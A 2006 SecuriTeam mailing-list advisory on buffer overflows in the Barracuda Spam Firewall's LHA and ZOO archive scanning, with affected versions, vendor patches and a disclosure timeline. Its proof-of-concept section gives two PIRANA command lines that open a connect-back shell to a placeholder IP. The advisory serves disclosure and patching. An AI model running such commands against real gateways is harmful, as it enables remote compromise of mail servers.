From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 4 Apr 2006 10:54:16 +0200
Subject: [UNIX] Barracuda Spam Firewall Archiver Vulnerabilities
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060404105313.12FB757A5@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Barracuda Spam Firewall Archiver Vulnerabilities
------------------------------------------------------------------------
SUMMARY
"The <http://www.barracudanetworks.com/>; Barracuda Spam Firewall is an
integrated hardware and software solution for complete protection of your
email server. It provides a powerful, easy to use, and affordable solution
to eliminating spam and virus from your organization."
Barracuda spam firewall is vulnerable to buffer overflows when it scans
maliciously crafted LHA or ZOO archives.
DETAILS
Vulnerable Systems:
* Barracuda Spam Firewall with firmware versions prior to 3.3.03.022
* Barracuda Spam Firewall with spamdef version prior to 3.0.10045
When building a special LHA or ZOO archive with long filenames in it, it
is possible to overflow a buffer on the stack used by the program and
seize control of the program. Since this component is used when scanning
an incoming email, remote compromise is possible by sending a simple email
with the specially crafted archive attached to the Barracuda Spam
Firewall. No administration access (on port 8000) needed for successfull
exploitation.
Proof of concept:
Using the PIRANA framework, available at <http://www.guay-leroux.com>;
http://www.guay-leroux.com, it is possible to test the Barracuda Spam
Firewall against the LHA or ZOO vulnerability.
By calling PIRANA the way it is described below, you will get a TCP
connect back shell on IP address 1.2.3.4 and port 1234:
LHA:
perl pirana.pl -e 0 -h barracuda.vulnerable.com -a postmaster -s 0 -l
1.2.3.4 \ -p 1234 -z -c 1 -d 1
ZOO:
perl pirana.pl -e 4 -h barracuda.vulnerable.com -a postmaster -s 0 -l
1.2.3.4 \ -p 1234 -z -c 1 -d 1
Vendor Status:
Barracuda Networks pushed an urgent critical patch in spamdef #3.0.9388,
available March 3rd 2006.
They also published an official patch in firmware #3.3.03.022, available
April 3rd 2006.
It is recommended to update to firmware #3.3.03.022 .
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0855>;
CVE-2006-0855
OSVDB References:
#5753, #5754, #23460
Disclosure Timeline:
* 2006-03-02 - Disclosure of vulnerability to Barracuda Networks
* 2006-03-02 - Acknowledgement of the problem
* 2006-03-03 - ZOO Problem fixed
* 2006-03-24 - LHA Problem fixed
* 2006-04-03 - Advisory disclosed to public
ADDITIONAL INFORMATION
The information has been provided by
<mailto:jean-sebastien@guay-leroux.com.> Jean-Sebastien Guay-Leroux.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
